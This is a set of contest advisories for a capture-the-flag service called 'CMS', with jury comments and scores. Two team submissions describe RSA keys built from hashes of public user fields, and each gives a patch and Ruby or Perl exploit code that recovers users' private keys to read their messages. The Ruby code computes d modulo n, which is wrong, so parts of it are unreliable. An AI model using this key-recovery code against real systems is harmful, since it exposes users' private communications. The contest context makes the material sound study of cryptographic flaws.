CMS Advisories


Service:CMS
Text:problem:
private key generation has big entropy problems ... p is the next prime from sha512(name) nad q is the next prime from sha512(email) ...

fix:
easy to fix ... choose proper randomnumbers (in our case we just appended a secret string to the call of sha512 ... since SHA512 is PRF everything is fine)


exploit (ruby):
require "openssl"

def prime?(x)
return OpenSSL::BN.new(x.to_s).prime?
end

def nextprime(x)
x = x|1
x = x + 2 until prime?(x)
return x
end

def getprimebyname(name)
nextprime(OpenSSL::Digest::SHA512.hexdigest(name).to_i(16))
end

def buildprivatekey(p,q)
x = OpenSSL::PKey::RSA.new()
x.p = p
x.q = q
x.n = p*q
x.e = 257
x.d = OpenSSL::BN.new(x.e.to_s).mod_inverse(x.n)
x.dmp1 = x.d % (x.p-1)
x.dmq1 = x.d % (x.q-1)
x.iqmp = OpenSSL::BN.new(x.q.to_s).mod_inverse(p)
return x
end
Jury comment:The idea itself (randomness) and your fix is OK. But "p is the next prime from sha512(name) nad q is the next prime from sha512(email)" is wrong. Make good description and exploit to earn more points.
Score:3/8 points

Service:CMS
Text:Class:
error in the code

Vulnerable part of the code:
sub gen_keys
{
my $ctx = Crypt::OpenSSL::Bignum::CTX->new();
my $one = Crypt::OpenSSL::Bignum->one();

my $p = create_prime($R::name.$R::age.$R::rnd.$R::email);
my $q = create_prime($R::email.$R::rnd.$R::age.$R::name);

In the registration form field name is "rand", but here is "rnd",
therefore, the private key is generated without "Random" string. So,
fields "name", "email", and "age" is public, and we can generate
private keys for any user.

Description:
With private key we can read user's messages with flag.

Patch:
replace $R::rnd with $R::rand. For existing user - change private key

Exploit:
1. Grab users from host
2. Generate private key for each user:
my $ctx = Crypt::OpenSSL::Bignum::CTX->new();
my $one = Crypt::OpenSSL::Bignum->one();
my $p = create_prime($R::name.$R::age.$R::email);
my $q = create_prime($R::email.$R::age.$R::name);
my $e = Crypt::OpenSSL::Bignum->new_from_word(257);
my $d = $e->mod_inverse($p->sub($one)->mul($q->sub($one), $ctx), $ctx);
my $n = $p->mul($q, $ctx);
my $dmp1 = $d->mod($p->sub($one), $ctx);
my $dmq1 = $d->mod($q->sub($one), $ctx);
my $iqmp = $q->mod_inverse($p, $ctx);
my $rsa = Crypt::OpenSSL::RSA->new_key_from_parameters($n, $e, $d, $p, $q);
print "private:\n";
print cut($rsa->get_private_key_string);
3. Read private messages
Jury comment:Very good.
Score:5/8 points